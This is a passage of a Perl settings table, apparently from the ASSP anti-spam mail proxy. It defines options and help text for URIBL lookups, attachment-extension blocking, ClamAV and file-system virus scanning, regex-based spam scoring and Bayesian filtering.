 URIBL-Service-Provider=>result-to-watch=>weight (like:)<br />
 multi.surbl.org=>127.0.0.2=>2<br />
 multi.surbl.org=>127.0.0.4=>3<br />
 multi.surbl.org=>127.0.0.?=>4<br />
 multi.surbl.org=>127.0.0.*=>5<br /><br />
 You can see, the wildcards * (multiple character) and ? (single character) are possible to use in the second parameter. Never mix the three possible syntax types for the same URIBL Service Provider. An search for a match inside such a definition is done in reverse ASCII order, so the wildcards are used as last.',undef,undef,'msg003930','msg003931'],
['TLDS','Country Code TLDs*',60,\&textnoinput,'file:files/tlds-alpha-by-domain.txt','(.*)','ConfigMakeRe',
  'List of <a href="http://data.iana.org/TLD/tlds-alpha-by-domain.txt" rel="external">one level country code TLDs</a> '],
 ['URIBLCCTLDS','URIBL Country Code TLDs*',60,\&textnoinput,'file:files/URIBLCCTLDS.txt','(.*)','ConfigMakeRe',
  'List of <a href="http://george.surbl.org/two-level-tlds" rel="external">two level country code TLDs</a> and <a href="http://george.surbl.org/three-level-tlds" rel="external">three level country code TLDs</a> used to determine the base domain of the uri. Two level TLDs will be checked on third level, third level TLDs will be checked on fourth level. Any not listed domain will be checked in level two.',undef,undef,'msg003940','msg003941'],
 ['URIBLmaxuris','Maximum URIs',5,\&textinput,0,'(.*)',undef,
  'More than this number of URIs in the body will increase scoring with uribleValencePB. Enter 0 to disable feature.',undef,undef,'msg003950','msg003951'],
 ['URIBLmaxdomains','Maximum Unique Domain URIs',5,\&textinput,0,'(.*)',undef,
  'More than this number of unique domain URIs in the body will increase scoring with uribleValencePB. Enter 0 to disable feature.',undef,undef,'msg003960','msg003961'],
  ['URIBLNoObfuscated','Disallow Obfuscated URIs <a href="http://www.pc-help.org/obscure.htm" target="ASSPHELP"><img src="' . $wikiinfo . '" alt="obscure" /></a>',0,\&checkbox,'','(.*)',undef,
  'When enabled, messages with obfuscated URIs of types [integer/octal/hex IP, other things!] in the body will will increase scoring with uribleValencePB and if weights are used, the double weight will be used.',undef,undef,'msg003970','msg003971'],
 ['URIBLcheckDOTinURI','Check for \'DOT\' in URI',0,\&checkbox,'','(.*)',undef,
  'When enabled, assp will also check for the used word \'DOT\' instead of a \'.\' in URI\'s like \'example<b>dot</b>com or example<b>!d o-t_</b>com\' .<br />
   Enable this feature only, if you don\'t expect any problems in your national language (using \'dot\' + a toplevel domain in any words).',undef,undef,'msg008820','msg008821'],


 ['URIBLmaxreplies','Maximum Replies',5,\&textinput,3,'(.*)','configUpdateURIBLMR',
  'A reply is affirmative or negative reply from a URIBL.<br />
   The URIBL module will wait for this number of replies (negative or positive) from the URIBLs listed under Service Provider<br />
   for up to URIBLmaxtime. This number should be equal to or less than the number of URIBL Service Providers<br />
   listed to allow for randomly unavailable URIBLs.',undef,undef,'msg003980','msg003981'],
 ['URIBLmaxhits','Maximum Hits',5,\&textinput,1,'(\d+\.\d\d?|\d*)','configUpdateURIBLMH',
  'A hit is an affirmative response from a URIBL.<br />
   The URIBL module will check all of the URIBLs listed under Service Provider,<br />
   and flag the email with a URIBL failure flag if more than this number of URIBLs return a postive blacklisted response.<br />
   This number should be less than or equal to URIBLmaxreplies and greater than 0.
   If the number of hits is greater or equal URIBLmaxhits, the email is flagged <span class="negative">failed</span>.
    If the number of hits is greater 0 and less URIBLmaxhits, the email is flagged <span class="spampassed">neutral</span><br /> 
    URIBLmaxhits is ignored if the URIBLServiceProvider are classified (weighted), the email is flagged <span class="negative">failed</span> if weights for all URIs is greater or equal URIBLvalencPB.
   '],
 ['URIBLmaxweight','URIBL Maximum Weight',3,\&textinput,0,'(.*)',undef,'A weight is a number representing the trust we put into a URIBL.<br />
  The URIBL module will check all of the URIBLs listed under URIBLServiceProvider <b>for every URI</b> found in an email. If the total of weights for all URIs is greater or equal this Maximum Weight, the email is flagged <b>Failed</b>.<br /> If the total of weights is greater 0 and less Maximum Weight, the email is flagged <b>Neutral</b> . If not defined or set to zero only URIBLmaxhit will be used to detect a fail or neutral state.',undef,undef,'msg009150','msg009151'],
 ['URIBLmaxtime','Maximum Time',5,\&textinput,10,'(.*)',undef,
  'This sets the maximum time in seconds to spend on each message performing URIBL checks.',undef,undef,'msg004000','msg004001'],
 ['URIBLsocktime','Socket Timeout',5,\&textinput,1,'(.*)',undef,'This sets the URIBL socket read timeout in seconds.',undef,undef,'msg004010','msg004011'],
 ['URIBLwhitelist','Whitelisted URIBL Domains*',60,\&textinput,'file:files/uriblwhite.txt','(.*)','ConfigMakeRe',
  'This prevents specific domains from being checked by URIBL module. For example:files/uriblwhite.txt.'],
 ['noURIBL','Don\'t Check Messages from these Addresses*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Don\'t validate URIBL when messages come from these addresses. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com). <br />For example: fribo@thisdomain.com|jhanna|@example.org',undef,undef,'msg004030','msg004031'],

 ['AddURIBLHeader','Add X-Assp-Received-URIBL Header',0,\&checkbox,1,'(.*)',undef,
  'Add X-Assp-Received-URIBL header to messages with positive reply from URIBL.',undef,undef,'msg004040','msg004041'],
 ['URIBLCacheExp','URIBL Cache Refresh Interval for Hits',3,\&textinput,72,'(.*)','configUpdateURIBLCR',
  'Domains in cache will be removed after this interval in hours. Empty or 0 will disable the cache. <input type="button" value=" Show URIBL Cache" onclick="javascript:popFileEditor(\'pb/pbdb.uribl.db\',5);" />',undef,undef,'msg004050','msg004051'],
['URIBLCacheExpMiss','URIBL Cache Refresh Interval for Misses',3,\&textinput,12,'(.*)','configUpdateURIBLCR',
  'Domains in cache with status=2 (miss) will be removed after this interval in hours. Empty or 0 will use URIBLCacheExp for cache of non-hits.<br /><hr /><div class="menuLevel1">Notes On URIBL</div>
<input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/uribl.txt\',3);" /> ',undef,undef,'msg004060','msg004061'],

[0,0,0,'heading','Attachment Checking'],
['DoBlockExes','Checking ','0:disabled|1:block|2:monitor|3:score',\&listbox,0,'([\s01234]?)',undef,'Note:Attachment checking will only be done if Email::MIME::Modifier is installed. Scoring is done  with baValencePB, Testmode can be set with attachTestMode.'],
['AttachmentLog','Enable Attachment logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  ''],
['BlockExes','External Attachment Checking Level ','0:Level 0|1:Level 1|2:Level 2|3:Level 3|4:Level 4',\&listbox,0,'([\s01234]?)',undef,
  'Set the level of Attachment Blocking to 1-3 for attachments that should be blocked, set level to 4  for attachments that should be allowed only. Choose 0 for no attachment blocking.'],
['BlockWLExes','Whitelisted Attachment Checking','0:Level 0|1:Level 1|2:Level 2|3:Level 3|4:Level 4',\&listbox,0,'([\s01234]?)',undef,
  'Set the level of Attachment Checking to 0-4 for whitelisted senders. Choose 0 for no attachment blocking.'],
['BlockLCExes','Local Attachment Checking','0:Level 0|1:Level 1|2:Level 2|3:Level 3|4:Level 4',\&listbox,0,'([\s01234]?)',undef,
  'Set the level of Attachment Blocking to 0-4 for local senders. Choose 0 for no attachment blocking.'],
['BlockNPExes','NoProcessing Attachment Checking','0:Level 0|1:Level 1|2:Level 2|3:Level 3|4:Level 4',\&listbox,0,'([\s01234]?)',undef,
  'Set the level of Attachment Checking to 0-4 for noprocessing messages. Choose 0 for no attachment checking. '],
['BadAttachL1','Level 1 rejected File Extensions',80,\&textinput,'exe|scr|pif|vb[es]|js|jse|ws[fh]|sh[sb]|lnk|bat|cmd|com|ht[ab]','(.*)','updateBadAttachL1',
  'This regular expression is used to identify Level 1 attachments that should be blocked.<br />
  Separate entries with a pipe |. The dot . is assumed to precede these, so don\'t include it.<br /> For example:<br /> ad[ep]|asx|ba[st]|chm|cmd|com|cpl|crt|dbx|exe|hlp|ht[ab]|in[fs]|isp|js|jse|lnk
  <br/>|md[abez]|mht|ms[cipt]|nch|pcd|pif|prf|reg|sc[frt]|sh[bs]|vb|vb[es]|wms|ws[cfh]'],
['BadAttachL2','Level 2 rejected File Extensions',80,\&textinput,'','(.*)','updateBadAttachL2',
  'This regular expression is used to identify Level 2 attachments that should be checked.<br />
  Level 2 already includes all rejected extensions from Level 1. <br /> For example:<br /> (ad[ep]|asx|ba[st]|chm|cmd|com|cpl|crt|dbx|exe|hlp|ht[ab]|in[fs]|isp|js|jse|
  <br/>lnk|md[abez]|mht|ms[cipt]|nch|pcd|pif|prf|reg|sc[frt]|sh[bs]|vb|vb[es]|wms|ws[cfh]).zip'],
['BadAttachL3','Level 3 rejected File Extensions',80,\&textinput,'','(.*)','updateBadAttachL3',
  'This regular expression is used to identify Level 3 attachments that should be checked.<br />
  Level 3 includes Level 2 and Level 1.<br /> For example:<br /> zip|url'],
['GoodAttach','Level 4 Allowed File Extensions',80,\&textinput,'','(.*)','updateGoodAttach',
  'This regular expression is used to identify  attachments that should be allowed. All others are blocked. Separate entries with a pipe |. The dot . is assumed to precede these, so don\'t include it.<br /> For example:<br /> ai|asc|bhx|dat|doc|docx|eps|gif|htm|html|ics|jpg|jpeg|hqx|od[tsp]|pdf|ppt|rar|
  <br />
  rpt|rtf|snp|txt|xls|zip'],
 ['PassAttach','Passing File Names  ',80,\&textinput,'','(.*)','updatePassAttach',
  'This regular expression is used to identify  attachments that should mark the message as noprocessing. If you enter extensions do not precede it with a dot. This will take precedence over any bad attachment.'],


['AttachmentError','Reply Code to Refuse Rejected Attachments',80,\&textinput,'550 5.7.1 These attachments are not allowed -- Compress before mailing.','([25]\d\d .*)',undef,'The literal FILENAME (case sensitive) will be replaced with the name of the blocked attachment!<br />
 <hr /><div class="menuLevel1">Notes On Attachment Blocking</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/Attachments.txt\',3);" />'],



[0,0,0,'heading','ClamAV and FileScan '],
['ScanLog','Enable Virus Check logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  ''],
['noScan','Do Not Scan Messages from/to these 
Addresses*',60,\&textinput,'','(.*)','ConfigMakeSLRe','Accepts 
specific addresses (user@example.com), user parts (user) or entire 
domains (@example.com).'],
['noScanIP','Do Not Scan Messages from these 
IPs*',60,\&textinput,'','(.*)','ConfigMakeIPRe','Enter IP addresses that you don\'t want to be scanned for virus , separated by pipes (|). For example: 145.145.145.145|145.146.'],
['ScanWL','Scan Whitelisted Senders',0,\&checkbox,'1','(.*)',undef,''],
['ScanNP','Scan NoProcessing Messages',0,\&checkbox,'','(.*)',undef,''],
['ScanLocal','Scan Local Senders',0,\&checkbox,'','(.*)',undef,''],
['ScanCC','Scan Copied Spam Mails',0,\&checkbox,'','(.*)',undef,''],
['AvError','Reply Code to Refuse Infected Messages',80,\&textinput,'554
 5.7.1 Mail appears infected with INFECTION.','([25]\d\d .*)',undef,'Reply
code to refuse infected messages. The string INFECTION is replaced with
the name of the detected virus.<br />  For example: 554 5.7.1 Mail appears
infected with INFECTION -- disinfect and resend.'],
['EmailVirusReportsTo','Send Virus Report To This 
Address',40,\&textinput,'','(.*)',undef,
  'If set an email containing the Message ID, Remote IP, Message 
Subject, Sender email address, Recipient email address, and the virus 
detected will be sent to this address. For example: 
admin@example.com'],
['EmailVirusReportsHeader','Add Full Header To Virus Report To Mail 
Address Above',0,\&checkbox,'','(.*)',undef,'If set the full message 
headers will also be added to Virus Reports.'],
['EmailVirusReportsToRCPT','Send Virus Report To 
Recipient',0,\&checkbox,'','(.*)',undef,'If set the intended 
recipient of the message will be sent a copy of the Virus Report. 
<input type="button" value=" Edit virusreport.txt file" 
onclick="javascript:popFileEditor(\'reports/virusreport.txt\',2);" 
/>'],

['UseAvClamd','Use ClamAV',0,\&checkbox,'','(.*)',undef,
    'If activated, the message is checked by ClamAV, this requires an installed
  File::Scan::ClamAV Perl module and a running Clamd . <br />The viruses will
  be stored in a special folder if the SpamVirusLog is set to 
\'quarantine\' and the
  filepath to the viruslog is set. Scoring is done  using vdValencePB.'],
['modifyClamAV','Modify ClamAV Module',1,\&checkbox,'1','(.*)',undef,'If set ClamAV modules ping and streamscan are modified. This may be disabled to use the original modules. <span class="negative">NOTE: Changing this  requires ASSP restart</span>'],
['AvClamdPort','Port or file socket for ClamAV',30,\&textinput,$defaultClamSocket,'(\S+)',undef,
 ' If the socket has been setup as a TCP/IP socket (see the TCPSocket option in the clamav.conf file - located for example in /etc/clamav/clamd.conf), then specify the TCPSocket (port). For example: 3310.
 If LocalSocket is specified in the clamav.conf file  then specify here the LocalSocket. For example /var/run/clamav/clamd.ctl.'],
['ClamAVBytes','Scan Bytes',8,\&textinput,50000,'(.*)',undef,
   'The number of bytes per message that will be scanned for virus and 
attachment blocking. Normally ASSP looks only at MaxBytes of a message. Values of 100000 or larger are not recommended.'],
['ClamAVtimeout','ClamAV Timeout',3,\&textinput,10,'(.*)',undef, 
'ClamAV will timeout after this many seconds.<br /> default: 10 
seconds.'],
['NoScanRe','Skip ClamAV Regular 
Expression*',80,\&textinput,'','(.*)','ConfigCompileRe',
  "Put anything here to identify messages which should not be checked 
for viruses."],
['SuspiciousVirus','No-Blocking Virus Scan Scoring Regex**',80,\&textinput,'file:files/suspiciousvirus.txt','(.*)','ConfigCompileRe',
 'If a ClamAV or FileScan result matches this expression it will be scored with the suspicious virus score ( vsValencePB ) and the message will not be blocked.<br />
 It is possible to weight such results. Every weighted regex that contains at least one \'|\' has to begin and end with a \'~\' - inside such regexes it is not allowed to use a \'~\', even it is escaped - for example:  ~abc\\~|def~=>23 or ~abc~|def~=>23 - instead use the octal (\\126) or hex (\\x7E) notation (\\126), for example ~abc\\126|def~=>23 or ~abc\\x7E|def~=>23 . Every weighted regex has to be followed by \'=>\' and the weight value. For example: <br />Phishing\\.=>1.45|~Heuristics|Email~=>50  <br />or <br />~(Email|HTML|Sanesecurity)\\.(Phishing|Spear|(Spam|Scam)[a-z0-9]?)\\.~=>4.6|Spam=>1.1|~Spear|Scam~=>2.1 . <br />The multiplication result of the weight and the penaltybox valence value will be used for scoring, if the absolute value of weight is less or equal 6. Otherwise the value of weight is used for scoring.',undef,undef,'msg004220','msg004221'],
['DoFileScan','Use File System Virus 
Scanner','0:disabled|1:block|2:monitor',\&listbox,0,'(.*)',undef,
  'If activated, the message is written to a file inside the 
\'FileScanDir\' with an extension of \'maillogExt\'. After that ASSP 
will call \'FileScanCMD\' to detect if the temporary file is infected 
or not. The temporary created file(s) will be removed.<br />
  The viruses will be stored in a special folder if the SpamVirusLog 
is set to \'quarantine\' and the filepath to the viruslog is set.'],
['FileScanWL','Scan Whitelisted Senders',0,\&checkbox,'1','(.*)',undef,''],
['FileScanNP','Scan NoProcessing Messages',0,\&checkbox,'1','(.*)',undef,''],
['FileScanLocal','Scan Local Senders',0,\&checkbox,'','(.*)',undef,''],
['FileScanDir','File Scan 
Directory',80,\&textinput,"$asspbase/virusscan",'(.*)','',
  'Define the full path to the directory where the messages are 
temporary stored for the file system virus scanner. This could be any 
directory inside your file system. The running ASSP process must have 
full permission to this directory and the files inside! For defining any full filepathes, always use slashes ("/") not backslashes. '],
['FileScanCMD','File Scan Command',80,\&textinput,'NORUN','(.*)','',
  'ASSP will call this system command and expects a returned string 
from this command. This returned string is checked against 
\'FileScanBad\' and/or \'FileScanGood\' to detect if the message is 
OK or not! If the file does not exists after the command call, the 
message is consider infected. ASSP expects, that the file scan is 
finished when the command returns!<br />
   The literal \'FILENAME\' will be replaced by the full qualified 
file name of the temporary file.<br />

   The literal \'FILESCANDIR\' will be replaced with the value of 
FileScanDir.<br />
   All outputs of this command to STDERR are automatic redirected to 
STDOUT.<br />
   FileScan will not run, if FileScanCMD is not specified.<br />
   If you have your online/autoprotect file scanner configured to 
delete infected files inside the \'FileScanDir\', define \'NORUN\' in 
this field! In this case FileScanGood and FileScanBad are ignored. If 
there is a need to wait some time for the autoprotect scanner, write 
\'NORUN-dddd\', where dddd are the milliseconds to wait!<br />
   Depending on your operating system it may possible that you have to 
quote (\' or ") the command, if it contains whitespaces. The replaced 
file name will be quoted by ASSP if needed. For example: \'d:\utility\touch.exe FILENAME\''],
['FileScanBad','RegEx to Detect \'BAD\' in Returned 
String*',80,\&textinput,'','(.*)','ConfigCompileRe',
  'Put anything here to identify bad messages by the string returned 
from the FileScanCMD. If this regular expression matches, the message 
is considered infected.'],
['FileScanGood','RegEx to Detect \'GOOD\' in Returned 
String*',80,\&textinput,'','(.*)','ConfigCompileRe',
  'Put anything here to identify good messages by the string returned 
from the FileScanCMD. If this regular expression matches and 
\'FileScanBad\' does not, the message is considered not infected.'],
['FileScanRespRe','FileScan Reponds 
Regex*',60,\&textinput,'','(.*)','ConfigCompileRe',
  'A regular expression that will be used over the text returned from 
the FileScanCMD. The result of this regex is used as virus name 
(INFECTION) in AvError. For example: infected by (.+)<br />
  <hr /><div class="menuLevel1">Notes On Virus Checks</div><input 
type="button" value="Notes" 
onclick="javascript:popFileEditor(\'notes/viruscheck.txt\',3);" 
/>'],

[0,0,0,'heading','Bomb Expressions'],
['BombLog','Enable Bomb logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  ''],
 ['preHeaderRe','Regular Expression to early Identify Spam in Handshake and Header Part*',80,\&textinput,'file:files/preheaderre.txt','(.*)','ConfigCompileRe',
 'Until the complete mail header is received, assp is processing the handshake and header content line per line, but the first mail content check is done after the complete mail header is received.<br />
 It is possible, that some content (malformed headers, forbidden characters or character combinations) could cause assp to die or to run into a unrecoverable exception (eg. segment fault).<br />
 Use this regular expression to identify such incoming mails based on a line per line check, at the moment where a single line is received.<br />
If a match is found, assp will immediately send a \'421 <myName> closing transmission\' reply to the client and will immediately terminate the connection. '], 


['maxBombValence','Maximum Penalty on Regex Match per Mail per Check',3,\&textinput,0,'(.*)',undef, 'This option is valid for all regex searches which allow weights (marked with **) and limits the maximum penalty per check. maxBombHits is overwritten. If not set the search will stop if MessageScoringUpperLimit or maxBombHits is reached. For example: 70'],
['maxBombHits','Maximum Number Of Hits in Regex Search*',80,\&textinput,'blackRe=>2|bombSenderRe=>1|bombHeaderRe=>1|bombSubjectRe=>3|bombCharSets=>1|bombSuspiciousRe=>3|bombRe=>2|scriptRe=>2','(.*)','ConfigMakeRe', 'This option is valid for all regex searches which allow weights (marked with **). Use the syntax: regextype=>3|other.regextype=>3 to set the maximum number of hits a regexsearch should perform. Maximum for regex searches not set here is 1. The search will stop if MessageScoringUpperLimit or maxBombHits is reached. This can be overwritten by maxBombValence.'],
['DoBlackRe','Use Black Regular Expression to Identify Spam','0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)',undef,
  'This works similar to DoBombRe but has different defaults in processing whitelisted  and noprocessing. Both will will be checked if the defaults are used. Envelope, Header and Data Part are checked  against the BlackRe. Scoring is done  with blackValencePB - the scoring value is the sum of all valences(weights) of all found blackRe(s). Blocking will only be done if \'block\' is set  (default) and the messagescore is equal or exceeds blackValencePB. Testmode can be set with blackTestMode. '],
['blackRe','Black Regular Expressions to Identify Spam ** ',80,\&textinput,'file:files/blackre.txt','(.*)','ConfigCompileRe',
  'This is a stricter version of bombRe (blackReWL, blackReNP, blackReISPIP are enabled by default). If an incoming email matches this expression it will be considered spam. The expressions here will work as original <a href="http://www.enginsite.com/Library-Perl-Regular-Expressions-Tutorial.htm" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="Perl-Regular-Expressions-Tutorial" />Regular Expressions</a> As all fields marked with two asterisk (**) do - this  regular expressions (regex) can accept a weight value. Every weighted regex has to be followed by \'=>\' and the weigth value. The search will continue until maxBombHits is reached or maxBombValence is exceeded (if set).'],
  

['blackReWL','Do Black Regular Expressions Checks for Whitelisted',0,\&checkbox,'1','(.*)',undef,''],
['blackReNP','Do Black Regular Expressions Checks for NoProcessing',0,\&checkbox,'1','(.*)',undef,''],
['blackReLocal','Do Black Regular Expressions Checks for Local Messages',0,\&checkbox,'','(.*)',undef,''],
['blackReISPIP','Do Black Regular Expressions Checks for ISPIP',0,\&checkbox,'1','(.*)',undef,''],
['DoBombSenderRe','Use BombSender Regular Expressions on Envelope','0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)',undef,
  'If activated, each message-envelope (IP,Helo,Mail From) is checked  against bombSenderRe. Scoring is done  with bombValencePB, Testmode can be set with bombheaderTestMode.'],
['bombSenderRe','Regular Expression to Identify Spam in Envelope**',80,\&textinput,'file:files/bombsenderre.txt','(.*)','ConfigCompileRe','Expression to identify mailfrom,ip and helo.'],
['DoBombHeaderRe','Use Header Regular Expressions ','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'If activated, each message-header is checked  against bombHeaderRe. Scoring is done  with bombValencePB, Testmode can be set with bombheaderTestMode.'],


['bombHeaderRe','Regular Expressions to Identify Spam in Header Part **',80,\&textinput,'file:files/bombheaderre.txt','(.*)','ConfigCompileRe',
  'Header will be checked against this Regex if DoBombHeaderRe is enabled. '],
['DoBombSubjectRe','Use Subject Regular Expression on Subject','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'If activated, each message subject is checked  against bombSubjectRe. Scoring is done  with bombValencePB, Testmode can be set with bombheaderTestMode.'],
['bombSubjectRe','Regular Expression to Identify
 Spam in Subject **',80,\&textinput,'file:files/bombsubjectre.txt','(.*)','ConfigCompileRe','Subject will be checked against this Regex if DoBombSubjectRe is enabled. The expressions here will work as original <a href="http://www.enginsite.com/Library-Perl-Regular-Expressions-Tutorial.htm" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="Perl-Regular-Expressions-Tutorial" />Regular Expressions</a>'],
['maxSubjectLength','Maximum allowed Subject Length',20,\&textinput,'150=>40','^(\d+(?:\=\>\d+)?|)$',undef,'If set to a value greater than 0, assp will check the length of the Subject of the mail. If the Subject length exceeds this value, the message score will be increased by \'bombValencePB\' and the string that is checked in \'bombSubjectRe\' will be trunked to this length. It is possible to define a special weight using the syntax \'length=>value\', in this case the defined absolute value will be used instead of \'bombValencePB\' to increase the message score. If the subject is too long and this weight is equal or higher than \'bombValencePB\' no further bomb checks will be done on the subject.',undef,undef,'msg009360','msg009361'],

['DoBombCharSets','Check Header with Foreign Charsets RegEx','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'If activated, each message header is checked  against bombCharSets. '],

['bombCharSets','Regular Expression to Identify Foreign Charsets ** ',60,\&textinput,'file:files/charsets.txt','(.*)','ConfigCompileRe','Header will be checked against this Regex if DoBombCharSets is enabled. A weight can be assigned. For example:<br /> charset=.?BIG5|charset=.?CHINESEBIG|charset=.?GB2312|charset=.?KS_C_5601|charset=.?KOI8=>0.5|charset=.?EUC-KR|charset=.?ISO-2022|charset=.?CP1251. '],

['bombSuspiciousRe','Regular Expression to Score Blackish and/or Whitish Expressions **',80,\&textinput,'file:files/suspiciousre.txt','(.*)','ConfigCompileRe','Put here anything which might be suspicious (blackish) or trustworthy (whitish). bombSuspiciousValencePB will be multiplied by the weight and increases/decreases the total score.  Trustworthiness (whitishness) will be assigned by using a negative weight.  For example:<br />news=>-0.4|no-?reply=>-0.5|passwor=>-0.7'],


['DoBombRe','Use Bomb Regular Expressions','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'If activated, each message is checked  against bombRe Regular Expressions. Scoring is done  with bombValencePB - the scoring value is the sum of all valences(weights) of all found bombRe(s), Testmode can be set with bombTestMode.
  '],
['bombRe','Regular Expressions for Header and Data Part **',80,\&textinput,'file:files/bombre.txt','(.*)','ConfigCompileRe','Header and Data will be checked against this Regular Expressions if DoBombRe is enabled.  The expressions here will work as original <a href="http://www.enginsite.com/Library-Perl-Regular-Expressions-Tutorial.htm" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="Perl-Regular-Expressions-Tutorial" />Regular Expressions</a>'],


['DoBombCharSetsMIME','Check MIME parts with Foreign Charsets RegEx','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'If activated, each message header is checked  against bombCharSetsMIME. '],

['bombCharSetsMIME','Regular Expression to Identify Foreign Charsets ** ',60,\&textinput,'file:files/charsets.txt','(.*)','ConfigCompileRe','MIME parts will be checked against this Regex if DoBombCharSetsMIME is enabled. A weight can be assigned. For example:<br /> charset=.?BIG5|charset=.?CHINESEBIG|charset=.?GB2312|charset=.?KS_C_5601|charset=.?KOI8=>0.5|charset=.?EUC-KR|charset=.?ISO-2022|charset=.?CP1251. '],

['DoBombDataRe','Use BombData Regular Expression for Data Part','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'If activated, Data part will be checked against bombDataRe Regular Expressions. The search will continue until maxBombHits is reached or maxBombValence is exceeded (if set).
  '],
['bombDataRe','BombData Regular Expressions for Data Part **',80,\&textinput,'file:files/bombdatare.txt','(.*)','ConfigCompileRe','Data part will be checked against this Regular Expression if DoBombDataRe is enabled
The expressions here will work as original <a href="http://www.enginsite.com/Library-Perl-Regular-Expressions-Tutorial.htm" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="Perl-Regular-Expressions-Tutorial" />Regular Expressions</a>. '],



['DoTestRe','Do Test Regular Expression',0,\&checkbox,'','([01]?)',undef,
  'If activated, each message is checked  against the Test Regular
  Expression below. This provides a way to test regex strings on live mail.'],
['testRe','Test Regular Expression **',80,\&textinput,'','(.*)','ConfigCompileRe','The expressions here will work as original <a href="http://www.enginsite.com/Library-Perl-Regular-Expressions-Tutorial.htm" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="Perl-Regular-Expressions-Tutorial" />Regular Expressions</a>'],
['DoScriptRe','Use Regular Expression to Identify Mobile Scripts','0:disabled|1:block|2:monitor|3:score',\&listbox,0,'(.*)',undef,
  'Each message is checked  against the Expression to Identify Mobile Scripts. Scoring is done  with scriptValencePB, Testmode can be set with scriptTestMode.'],

['scriptRe','Regular Expression to Identify Mobile Scripts **',80,\&textinput,'','(.*)','ConfigCompileRe',
  'Spam emails may contain mobile scripting code, eg activex and java. You can use this feature to block those messages.For example:<br /> \&lt;applet|\&lt;embed|\&lt;iframe|\&lt;object|\&lt;script|onmouseover|javascript:'],
  

['bombReISPIP','Do Bomb/Script Regular Expressions Checks for ISPIP',0,\&checkbox,'1','(.*)',undef,''],

['maxBombSearchTime','Maximum time spend on Regex Search',3,\&textinput,5,'(.*)',undef, 'Maximum time in seconds that is spend on  regex check. This time check is done, after every found regex. So it is possible that the regex search takes longer as the defined value, if no match is found or a single search takes more time.'],
['noBombScript','Don\'t Check Messages from these Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Don\'t detect spam bombs or scripts in messages from these addresses. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).<br /><hr /><div class="menuLevel1">Notes On Bomb Regex</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/bombre.txt\',3);" />'],



[0,0,0,'heading','Bayesian Options '],
['BayesianLog','Enable Bayesian Logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  'Enables verbose logging of  Bayesian checks in the maillog.'],
['DoBayesian','Bayesian Check','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  "If activated, the message is checked  based on Bayesian factors in spamdb . This needs a fully functional spamdb built by rebuildspamdb. For starters it is best practice  to put this inactiv and built the spamdb collection with the help of DSNBL ,URIBL and spamaddresses. Scoring is done with baysValencePB for external mails, baysValencePB_local is used for outgoing and internal mails - both values are multiplied with the detected baysProbability .",undef,undef,'msg004710','msg004711'],


['BayesWL','Bayesian Check on Whitelisted Senders',0,\&checkbox,'','(.*)',undef,''],
['BayesNP','Bayesian Check on NoProcessing Messages',0,\&checkbox,'','(.*)',undef,''],
['BayesLocal','Bayesian Check on Local Senders',0,\&checkbox,'','(.*)',undef,''],
['BayesMaxProcessTime','Bayesian Check Timeout ',3,\&textinput,'30','(\d+)',undef,'The Bayesian Checks are the most memory and CPU consuming tasks that ASSP is doing on a message. If such tasks running to long on one message, other messages could run in to SMTPIdleTimeout. Define here the maximum time in seconds that ASSP should spend on Bayesian Checks for one message.'],
['noBayesian','Skip Bayesian Check*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Mail from/to any of these addresses are ignored by Bayesian check, mails will not be stored in spam/notspam collection. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). Wildcards are supported (user*@example.com)'],
['noBayesian_local','Skip Bayesian for this local senders*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'Mail from any of these local addresses are ignored by Bayesian check, mails will not be stored in spam/notspam collection. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com)',undef,undef,'msg009570','msg009571'],
 ['yesBayesian_local','Do Bayesian for this local senders only*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'Mail from any of these local addresses will perform Bayesian check, noBayesian_local will be ignored. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com)',undef,undef,'msg009570','msg009571'],
['baysTestModeUserAddresses','Bayesian Testmode User Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe','These users are in testmode ( mark subject only ) for bayesian spam, even with testmode off'],
['maxBayesValues','Maximum most significant results used per mail to calculate Bayesian-Probability',3,\&textinput,'20','([2-9]\d|\d{3})',undef,'Maximum count of most significant values used to calculate the Bayesian/HMM-Spam-Probability and the confidence of that probability.
 ',undef,undef,'msg007890','msg007891'],
['baysProbability','Bayesian Probability Threshold ',3,\&textinput,'0.6','(0\.\d+)',undef,' Messages with spam-probability below or equal this threshold are considered Ham. Recommended \'0.6\'.<br />
 An resulting Spam-Probability above this value is multiplied with baysValencePB_local or baysValencePB to get the penaltybox scoring value for the IP- and message score. In other words, the penaltybox scoring value is weighted by the Spam-Probability in case Spam is detected.<br />
